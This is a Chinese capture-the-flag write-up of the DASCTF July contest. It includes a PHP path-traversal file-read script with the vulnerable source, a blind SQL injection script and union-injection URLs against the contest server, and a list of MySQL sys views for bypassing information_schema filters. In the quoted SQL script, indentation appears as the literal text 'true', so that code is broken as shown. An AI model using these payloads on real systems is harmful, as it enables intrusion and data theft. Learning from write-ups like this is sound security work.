0%

DASCTF_7月赛

WEB

1.Ezinclude

URL的请求加了个unix时间戳,只能写脚本淦。后面测试发现gqy.jpg和/gqy.jpg回显相同,可以判断文件名前拼接了路径,这种情况无法使用wrapper等手段的。同时waf也会过滤 ../。尝试多次都没包含成功,就强行用了下伪协议成功了,后面看了源码醉了,如果f参数的开头给出一个目录再穿越就可以绕过waf了。这里的伪协议就相当于目录。

1
2
3
4
5
6
7
8
9
10
import requests
import base64
import time
file=b'php://filter/read=convert.base64-encode/resource=../../../../../../../../../../flag'
t=int(time.time())
f= base64.b64encode(file).decode()
url = 'http://183.129.189.60:10009/image.php?t={}&f={}'.format(t,f)
#print(url)
res = requests.get(url=url)
print(res.text)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(!isset($_GET['t']) || !isset($_GET['f'])){
echo "you miss some parameters";
exit();
}

$timestamp = time();

if(abs($_GET['t'] - $timestamp) > 10){
echo "what's your time?";
exit();
}

$file = base64_decode($_GET['f']);

if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
echo 'You are not allowed to do that.';
}
else{
echo file_get_contents('/var/www/html/img/'.$file);
}

?>

2.SQLI

就大概看了下题目,后面比赛结束环境没了,就看了下y1ng师傅的题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#库名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
truefor char in alpa:
truetruehost = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

truetruer = req.get(host)
truetrueif r'admin666' in r.text:
truetruetrueres += char
truetruetrueprint("found it: "+res)
truetruetruebreak
truetruet.sleep(0.2)

因为可以联合注入,所以直接联合查表也行

1
http://183.129.189.60:10004/?id=100%27/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**//**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1%23

获取flag

1
http://183.129.189.60:10004/?id=100/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23

记录一下bypass information_schema的库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
host_summary -> host、total_connections	历史连接IP、对应IP的连接次数
innodb_buffer_stats_by_schema -> object_schema 库名
innodb_buffer_stats_by_table -> object_schema、object_name 库名、表名(可指定)
io_global_by_file_by_bytes -> file 路径中包含库名
io_global_by_file_by_latency -> file 路径中包含库名
processlist -> current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
schema_auto_increment_columns -> table_schema、table_name、column_name 库名、表名、列名
schema_index_statistics -> table_schema、table_name 库名、表名
schema_object_overview -> db 库名
schema_table_statistics -> table_schema、table_name 库名、表名
schema_table_statistics_with_buffer -> table_schema、table_name 库名、表名
schema_tables_with_full_table_scans -> object_schema、object_name 库名、表名(全面扫描访问)
session -> current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
statement_analysis -> query、db 数据库最近执行的请求、对于请求访问的数据库名
statementswith* -> query、db 数据库最近执行的特殊情况的请求、对应请求的数据库
version -> mysql_version mysql版本信息
x$innodb_buffer_stats_by_schema 同innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table 同innodb_buffer_stats_by_table
x$io_global_by_file_by_bytes 同io_global_by_file_by_bytes
x$schema_flattened_keys -> table_schema、table_name、index_columns 库名、表名、主键名
x$ps_schema_table_statistics_io -> table_schema、table_name、count_read 库名、表名、读取该表的次数

MISC

1.welcome to the misc world

和北邮校赛的一道题挺类似的,LSB隐写。可以用脚本也可以用zsteg,分离得到一张包含密码的图片。

image-20200726181457308

得到密码: /*///1258/*/@#

解压后得到hint.png和7.png。hint.png最后有一串base64字符串,解码后是Unicode

![批注 2020-07-25 104650](DASCTF-7月赛/批注 2020-07-25 104650.jpg)

社会主义核心价值观解码

![批注 2020-07-25 105244](DASCTF-7月赛/批注 2020-07-25 105244.jpg)

找了很久没有找到疑似base85的字符串

最后7z打开压缩包 。。。NTFS隐写

![批注 2020-07-25 113101](DASCTF-7月赛/批注 2020-07-25 113101.jpg)

-------------本文结束感谢您的阅读-------------